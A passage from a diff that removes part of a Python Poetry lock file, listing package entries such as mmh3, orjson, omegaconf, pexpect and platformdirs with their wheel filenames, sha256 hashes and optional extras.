"mmh3-5.2.0-cp314-cp314-win32.whl", hash = "sha256:bb4fe46bdc6104fbc28db7a6bacb115ee6368ff993366bbd8a2a7f0076e6f0c0"}, - {file = "mmh3-5.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:7c7f0b342fd06044bedd0b6e72177ddc0076f54fd89ee239447f8b271d919d9b"}, - {file = "mmh3-5.2.0-cp314-cp314-win_arm64.whl", hash = "sha256:3193752fc05ea72366c2b63ff24b9a190f422e32d75fdeae71087c08fff26115"}, - {file = "mmh3-5.2.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:69fc339d7202bea69ef9bd7c39bfdf9fdabc8e6822a01eba62fb43233c1b3932"}, - {file = "mmh3-5.2.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:12da42c0a55c9d86ab566395324213c319c73ecb0c239fad4726324212b9441c"}, - {file = "mmh3-5.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f7f9034c7cf05ddfaac8d7a2e63a3c97a840d4615d0a0e65ba8bdf6f8576e3be"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:11730eeb16dfcf9674fdea9bb6b8e6dd9b40813b7eb839bc35113649eef38aeb"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:932a6eec1d2e2c3c9e630d10f7128d80e70e2d47fe6b8c7ea5e1afbd98733e65"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ca975c51c5028947bbcfc24966517aac06a01d6c921e30f7c5383c195f87991"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b0b58215befe0f0e120b828f7645e97719bbba9f23b69e268ed0ac7adde8645"}, - {file = "mmh3-5.2.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:29c2b9ce61886809d0492a274a5a53047742dea0f703f9c4d5d223c3ea6377d3"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:a367d4741ac0103f8198c82f429bccb9359f543ca542b06a51f4f0332e8de279"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:5a5dba98e514fb26241868f6eb90a7f7ca0e039aed779342965ce24ea32ba513"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:941603bfd75a46023807511c1ac2f1b0f39cccc393c15039969806063b27e6db"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:132dd943451a7c7546978863d2f5a64977928410782e1a87d583cb60eb89e667"}, - {file = "mmh3-5.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f698733a8a494466432d611a8f0d1e026f5286dee051beea4b3c3146817e35d5"}, - {file = "mmh3-5.2.0-cp314-cp314t-win32.whl", hash = "sha256:6d541038b3fc360ec538fc116de87462627944765a6750308118f8b509a8eec7"}, - {file = "mmh3-5.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:e912b19cf2378f2967d0c08e86ff4c6c360129887f678e27e4dde970d21b3f4d"}, - {file = "mmh3-5.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:e7884931fe5e788163e7b3c511614130c2c59feffdc21112290a194487efb2e9"}, - {file = "mmh3-5.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3c6041fd9d5fb5fcac57d5c80f521a36b74aea06b8566431c63e4ffc49aced51"}, - {file = "mmh3-5.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:58477cf9ef16664d1ce2b038f87d2dc96d70fe50733a34a7f07da6c9a5e3538c"}, - {file = "mmh3-5.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:be7d3dca9358e01dab1bad881fb2b4e8730cec58d36dd44482bc068bfcd3bc65"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:931d47e08c9c8a67bf75d82f0ada8399eac18b03388818b62bfa42882d571d72"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:dd966df3489ec13848d6c6303429bbace94a153f43d1ae2a55115fd36fd5ca5d"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c677d78887244bf3095020b73c42b505b700f801c690f8eaa90ad12d3179612f"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63830f846797187c5d3e2dae50f0848fdc86032f5bfdc58ae352f02f857e9025"}, - {file = "mmh3-5.2.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c3f563e8901960e2eaa64c8e8821895818acabeb41c96f2efbb936f65dbe486c"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:96f1e1ac44cbb42bcc406e509f70c9af42c594e72ccc7b1257f97554204445f0"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:7bbb0df897944b5ec830f3ad883e32c5a7375370a521565f5fe24443bfb2c4f7"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:1fae471339ae1b9c641f19cf46dfe6ffd7f64b1fba7c4333b99fa3dd7f21ae0a"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:aa6e5d31fdc5ed9e3e95f9873508615a778fe9b523d52c17fc770a3eb39ab6e4"}, - {file = "mmh3-5.2.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:746a5ee71c6d1103d9b560fa147881b5e68fd35da56e54e03d5acefad0e7c055"}, - {file = "mmh3-5.2.0-cp39-cp39-win32.whl", hash = "sha256:10983c10f5c77683bd845751905ba535ec47409874acc759d5ce3ff7ef34398a"}, - {file = "mmh3-5.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:fdfd3fb739f4e22746e13ad7ba0c6eedf5f454b18d11249724a388868e308ee4"}, - {file = "mmh3-5.2.0-cp39-cp39-win_arm64.whl", hash = "sha256:33576136c06b46a7046b6d83a3d75fbca7d25f84cec743f1ae156362608dc6d2"}, - {file = "mmh3-5.2.0.tar.gz", hash = "sha256:1efc8fec8478e9243a78bb993422cf79f8ff85cb4cf6b79647480a31e0d950a8"}, -] - -[package.extras] -benchmark = ["pymmh3 (==0.0.5)", "pyperf (==2.9.0)", "xxhash (==3.5.0)"] -docs = ["myst-parser (==4.0.1)", "shibuya (==2025.7.24)", "sphinx (==8.2.3)", "sphinx-copybutton (==0.5.2)"] -lint = ["black (==25.1.0)", "clang-format (==20.1.8)", "isort (==6.0.1)", "pylint (==3.3.7)"] -plot = ["matplotlib (==3.10.3)", "pandas (==2.3.1)"] -test = ["pytest (==8.4.1)", "pytest-sugar (==1.0.0)"] -type = ["mypy (==1.17.0)"] - -[[package]] -name = "nodeenv" -version = "1.10.0" -description = "Node.js virtual environment builder" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["dev"] -files = [ - {file = "nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827"}, - {file = "nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb"}, -] - -[[package]] -name = "omegaconf" -version = "2.3.0" -description = "A flexible configuration library" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "omegaconf-2.3.0-py3-none-any.whl", hash = "sha256:7b4df175cdb08ba400f45cae3bdcae7ba8365db4d165fc65fd04b050ab63b46b"}, - {file = "omegaconf-2.3.0.tar.gz", hash = "sha256:d5d4b6d29955cc50ad50c46dc269bcd92c6e00f5f90d23ab5fee7bfca4ba4cc7"}, -] - -[package.dependencies] -antlr4-python3-runtime = "==4.9.*" -PyYAML = ">=5.1.0" - -[[package]] -name = "orderly-set" -version = "5.5.0" -description = "Orderly set" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "orderly_set-5.5.0-py3-none-any.whl", hash = "sha256:46f0b801948e98f427b412fcabb831677194c05c3b699b80de260374baa0b1e7"}, - {file = "orderly_set-5.5.0.tar.gz", hash = "sha256:e87185c8e4d8afa64e7f8160ee2c542a475b738bc891dc3f58102e654125e6ce"}, -] - -[package.extras] -coverage = ["coverage (>=7.6.0,<7.7.0)"] -dev = ["bump2version (>=1.0.0,<1.1.0)", "ipdb (>=0.13.0,<0.14.0)"] -optimize = ["orjson"] -static = ["flake8 (>=7.1.0,<7.2.0)", "flake8-pyproject (>=1.2.3,<1.3.0)"] -test = ["pytest (>=8.3.0,<8.4.0)", "pytest-benchmark (>=5.1.0,<5.2.0)", "pytest-cov (>=6.0.0,<6.1.0)", "python-dotenv (>=1.0.0,<1.1.0)"] - -[[package]] -name = "orjson" -version = "3.11.5" -description = "Fast, correct Python JSON library supporting dataclasses, datetimes, and numpy" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "orjson-3.11.5-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:df9eadb2a6386d5ea2bfd81309c505e125cfc9ba2b1b99a97e60985b0b3665d1"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ccc70da619744467d8f1f49a8cadae5ec7bbe054e5232d95f92ed8737f8c5870"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:073aab025294c2f6fc0807201c76fdaed86f8fc4be52c440fb78fbb759a1ac09"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:835f26fa24ba0bb8c53ae2a9328d1706135b74ec653ed933869b74b6909e63fd"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667c132f1f3651c14522a119e4dd631fad98761fa960c55e8e7430bb2a1ba4ac"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:42e8961196af655bb5e63ce6c60d25e8798cd4dfbc04f4203457fa3869322c2e"}, - {file = "orjson-3.11.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75412ca06e20904c19170f8a24486c4e6c7887dea591ba18a1ab572f1300ee9f"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:6af8680328c69e15324b5af3ae38abbfcf9cbec37b5346ebfd52339c3d7e8a18"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:a86fe4ff4ea523eac8f4b57fdac319faf037d3c1be12405e6a7e86b3fbc4756a"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e607b49b1a106ee2086633167033afbd63f76f2999e9236f638b06b112b24ea7"}, - {file = "orjson-3.11.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7339f41c244d0eea251637727f016b3d20050636695bc78345cce9029b189401"}, - {file = "orjson-3.11.5-cp310-cp310-win32.whl", hash = "sha256:8be318da8413cdbbce77b8c5fac8d13f6eb0f0db41b30bb598631412619572e8"}, - {file = "orjson-3.11.5-cp310-cp310-win_amd64.whl", hash = "sha256:b9f86d69ae822cabc2a0f6c099b43e8733dda788405cba2665595b7e8dd8d167"}, - {file = "orjson-3.11.5-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9c8494625ad60a923af6b2b0bd74107146efe9b55099e20d7740d995f338fcd8"}, - {file = "orjson-3.11.5-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:7bb2ce0b82bc9fd1168a513ddae7a857994b780b2945a8c51db4ab1c4b751ebc"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67394d3becd50b954c4ecd24ac90b5051ee7c903d167459f93e77fc6f5b4c968"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:298d2451f375e5f17b897794bcc3e7b821c0f32b4788b9bcae47ada24d7f3cf7"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa5e4244063db8e1d87e0f54c3f7522f14b2dc937e65d5241ef0076a096409fd"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1db2088b490761976c1b2e956d5d4e6409f3732e9d79cfa69f876c5248d1baf9"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c2ed66358f32c24e10ceea518e16eb3549e34f33a9d51f99ce23b0251776a1ef"}, - {file = "orjson-3.11.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c2021afda46c1ed64d74b555065dbd4c2558d510d8cec5ea6a53001b3e5e82a9"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b42ffbed9128e547a1647a3e50bc88ab28ae9daa61713962e0d3dd35e820c125"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8d5f16195bb671a5dd3d1dbea758918bada8f6cc27de72bd64adfbd748770814"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c0e5d9f7a0227df2927d343a6e3859bebf9208b427c79bd31949abcc2fa32fa5"}, - {file = "orjson-3.11.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:23d04c4543e78f724c4dfe656b3791b5f98e4c9253e13b2636f1af5d90e4a880"}, - {file = "orjson-3.11.5-cp311-cp311-win32.whl", hash = "sha256:c404603df4865f8e0afe981aa3c4b62b406e6d06049564d58934860b62b7f91d"}, - {file = "orjson-3.11.5-cp311-cp311-win_amd64.whl", hash = "sha256:9645ef655735a74da4990c24ffbd6894828fbfa117bc97c1edd98c282ecb52e1"}, - {file = "orjson-3.11.5-cp311-cp311-win_arm64.whl", hash = "sha256:1cbf2735722623fcdee8e712cbaaab9e372bbcb0c7924ad711b261c2eccf4a5c"}, - {file = "orjson-3.11.5-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:334e5b4bff9ad101237c2d799d9fd45737752929753bf4faf4b207335a416b7d"}, - {file = "orjson-3.11.5-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:ff770589960a86eae279f5d8aa536196ebda8273a2a07db2a54e82b93bc86626"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed24250e55efbcb0b35bed7caaec8cedf858ab2f9f2201f17b8938c618c8ca6f"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a66d7769e98a08a12a139049aac2f0ca3adae989817f8c43337455fbc7669b85"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:86cfc555bfd5794d24c6a1903e558b50644e5e68e6471d66502ce5cb5fdef3f9"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a230065027bc2a025e944f9d4714976a81e7ecfa940923283bca7bbc1f10f626"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b29d36b60e606df01959c4b982729c8845c69d1963f88686608be9ced96dbfaa"}, - {file = "orjson-3.11.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c74099c6b230d4261fdc3169d50efc09abf38ace1a42ea2f9994b1d79153d477"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e697d06ad57dd0c7a737771d470eedc18e68dfdefcdd3b7de7f33dfda5b6212e"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:e08ca8a6c851e95aaecc32bc44a5aa75d0ad26af8cdac7c77e4ed93acf3d5b69"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e8b5f96c05fce7d0218df3fdfeb962d6b8cfff7e3e20264306b46dd8b217c0f3"}, - {file = "orjson-3.11.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ddbfdb5099b3e6ba6d6ea818f61997bb66de14b411357d24c4612cf1ebad08ca"}, - {file = "orjson-3.11.5-cp312-cp312-win32.whl", hash = "sha256:9172578c4eb09dbfcf1657d43198de59b6cef4054de385365060ed50c458ac98"}, - {file = "orjson-3.11.5-cp312-cp312-win_amd64.whl", hash = "sha256:2b91126e7b470ff2e75746f6f6ee32b9ab67b7a93c8ba1d15d3a0caaf16ec875"}, - {file = "orjson-3.11.5-cp312-cp312-win_arm64.whl", hash = "sha256:acbc5fac7e06777555b0722b8ad5f574739e99ffe99467ed63da98f97f9ca0fe"}, - {file = "orjson-3.11.5-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:3b01799262081a4c47c035dd77c1301d40f568f77cc7ec1bb7db5d63b0a01629"}, - {file = "orjson-3.11.5-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:61de247948108484779f57a9f406e4c84d636fa5a59e411e6352484985e8a7c3"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:894aea2e63d4f24a7f04a1908307c738d0dce992e9249e744b8f4e8dd9197f39"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ddc21521598dbe369d83d4d40338e23d4101dad21dae0e79fa20465dbace019f"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7cce16ae2f5fb2c53c3eafdd1706cb7b6530a67cc1c17abe8ec747f5cd7c0c51"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e46c762d9f0e1cfb4ccc8515de7f349abbc95b59cb5a2bd68df5973fdef913f8"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d7345c759276b798ccd6d77a87136029e71e66a8bbf2d2755cbdde1d82e78706"}, - {file = "orjson-3.11.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75bc2e59e6a2ac1dd28901d07115abdebc4563b5b07dd612bf64260a201b1c7f"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:54aae9b654554c3b4edd61896b978568c6daa16af96fa4681c9b5babd469f863"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:4bdd8d164a871c4ec773f9de0f6fe8769c2d6727879c37a9666ba4183b7f8228"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:a261fef929bcf98a60713bf5e95ad067cea16ae345d9a35034e73c3990e927d2"}, - {file = "orjson-3.11.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c028a394c766693c5c9909dec76b24f37e6a1b91999e8d0c0d5feecbe93c3e05"}, - {file = "orjson-3.11.5-cp313-cp313-win32.whl", hash = "sha256:2cc79aaad1dfabe1bd2d50ee09814a1253164b3da4c00a78c458d82d04b3bdef"}, - {file = "orjson-3.11.5-cp313-cp313-win_amd64.whl", hash = "sha256:ff7877d376add4e16b274e35a3f58b7f37b362abf4aa31863dadacdd20e3a583"}, - {file = "orjson-3.11.5-cp313-cp313-win_arm64.whl", hash = "sha256:59ac72ea775c88b163ba8d21b0177628bd015c5dd060647bbab6e22da3aad287"}, - {file = "orjson-3.11.5-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:e446a8ea0a4c366ceafc7d97067bfd55292969143b57e3c846d87fc701e797a0"}, - {file = "orjson-3.11.5-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:53deb5addae9c22bbe3739298f5f2196afa881ea75944e7720681c7080909a81"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82cd00d49d6063d2b8791da5d4f9d20539c5951f965e45ccf4e96d33505ce68f"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3fd15f9fc8c203aeceff4fda211157fad114dde66e92e24097b3647a08f4ee9e"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9df95000fbe6777bf9820ae82ab7578e8662051bb5f83d71a28992f539d2cda7"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92a8d676748fca47ade5bc3da7430ed7767afe51b2f8100e3cd65e151c0eaceb"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aa0f513be38b40234c77975e68805506cad5d57b3dfd8fe3baa7f4f4051e15b4"}, - {file = "orjson-3.11.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa1863e75b92891f553b7922ce4ee10ed06db061e104f2b7815de80cdcb135ad"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d4be86b58e9ea262617b8ca6251a2f0d63cc132a6da4b5fcc8e0a4128782c829"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:b923c1c13fa02084eb38c9c065afd860a5cff58026813319a06949c3af5732ac"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:1b6bd351202b2cd987f35a13b5e16471cf4d952b42a73c391cc537974c43ef6d"}, - {file = "orjson-3.11.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:bb150d529637d541e6af06bbe3d02f5498d628b7f98267ff87647584293ab439"}, - {file = "orjson-3.11.5-cp314-cp314-win32.whl", hash = "sha256:9cc1e55c884921434a84a0c3dd2699eb9f92e7b441d7f53f3941079ec6ce7499"}, - {file = "orjson-3.11.5-cp314-cp314-win_amd64.whl", hash = "sha256:a4f3cb2d874e03bc7767c8f88adaa1a9a05cecea3712649c3b58589ec7317310"}, - {file = "orjson-3.11.5-cp314-cp314-win_arm64.whl", hash = "sha256:38b22f476c351f9a1c43e5b07d8b5a02eb24a6ab8e75f700f7d479d4568346a5"}, - {file = "orjson-3.11.5-cp39-cp39-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:1b280e2d2d284a6713b0cfec7b08918ebe57df23e3f76b27586197afca3cb1e9"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c8d8a112b274fae8c5f0f01954cb0480137072c271f3f4958127b010dfefaec"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5f0a2ae6f09ac7bd47d2d5a5305c1d9ed08ac057cda55bb0a49fa506f0d2da00"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c0d87bd1896faac0d10b4f849016db81a63e4ec5df38757ffae84d45ab38aa71"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:801a821e8e6099b8c459ac7540b3c32dba6013437c57fdcaec205b169754f38c"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:69a0f6ac618c98c74b7fbc8c0172ba86f9e01dbf9f62aa0b1776c2231a7bffe5"}, - {file = "orjson-3.11.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fea7339bdd22e6f1060c55ac31b6a755d86a5b2ad3657f2669ec243f8e3b2bdb"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4dad582bc93cef8f26513e12771e76385a7e6187fd713157e971c784112aad56"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:0522003e9f7fba91982e83a97fec0708f5a714c96c4209db7104e6b9d132f111"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:7403851e430a478440ecc1258bcbacbfbd8175f9ac1e39031a7121dd0de05ff8"}, - {file = "orjson-3.11.5-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5f691263425d3177977c8d1dd896cde7b98d93cbf390b2544a090675e83a6a0a"}, - {file = "orjson-3.11.5-cp39-cp39-win32.whl", hash = "sha256:61026196a1c4b968e1b1e540563e277843082e9e97d78afa03eb89315af531f1"}, - {file = "orjson-3.11.5-cp39-cp39-win_amd64.whl", hash = "sha256:09b94b947ac08586af635ef922d69dc9bc63321527a3a04647f4986a73f4bd30"}, - {file = "orjson-3.11.5.tar.gz", hash = "sha256:82393ab47b4fe44ffd0a7659fa9cfaacc717eb617c93cde83795f14af5c2e9d5"}, -] - -[[package]] -name = "packaging" -version = "26.0" -description = "Core utilities for Python packages" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev", "docs"] -files = [ - {file = "packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529"}, - {file = "packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4"}, -] - -[[package]] -name = "paginate" -version = "0.5.7" -description = "Divides large result sets into pages for easier browsing" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "paginate-0.5.7-py2.py3-none-any.whl", hash = "sha256:b885e2af73abcf01d9559fd5216b57ef722f8c42affbb63942377668e35c7591"}, - {file = "paginate-0.5.7.tar.gz", hash = "sha256:22bd083ab41e1a8b4f3690544afb2c60c25e5c9a63a30fa2f483f6c60c8e5945"}, -] - -[package.extras] -dev = ["pytest", "tox"] -lint = ["black"] - -[[package]] -name = "pathspec" -version = "1.0.4" -description = "Utility library for gitignore style pattern matching of file paths." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "pathspec-1.0.4-py3-none-any.whl", hash = "sha256:fb6ae2fd4e7c921a165808a552060e722767cfa526f99ca5156ed2ce45a5c723"}, - {file = "pathspec-1.0.4.tar.gz", hash = "sha256:0210e2ae8a21a9137c0d470578cb0e595af87edaa6ebf12ff176f14a02e0e645"}, -] - -[package.extras] -hyperscan = ["hyperscan (>=0.7)"] -optional = ["typing-extensions (>=4)"] -re2 = ["google-re2 (>=1.1)"] -tests = ["pytest (>=9)", "typing-extensions (>=4.15)"] - -[[package]] -name = "pexpect" -version = "4.9.0" -description = "Pexpect allows easy control of interactive console applications." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523"}, - {file = "pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f"}, -] - -[package.dependencies] -ptyprocess = ">=0.5" - -[[package]] -name = "platformdirs" -version = "4.4.0" -description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." -optional = false -python-versions = ">=3.9" -groups = ["dev", "docs"] -markers = "python_version == \"3.9\"" -files = [ - {file = "platformdirs-4.4.0-py3-none-any.whl", hash = "sha256:abd01743f24e5287cd7a5db3752faf1a2d65353f38ec26d98e25a6db65958c85"}, - {file = "platformdirs-4.4.0.tar.gz", hash = "sha256:ca753cf4d81dc309bc67b0ea38fd15dc97bc30ce419a7f58d13eb3bf14c4febf"}, -] - -[package.extras] -docs = ["furo (>=2024.8.6)", "proselint (>=0.14)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=8.3.4)", "pytest-cov (>=6)", "pytest-mock (>=3.14)"] -type = ["mypy (>=1.14.1)"] - -[[package]] -name = "platformdirs" -version = "4.5.1" -description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data 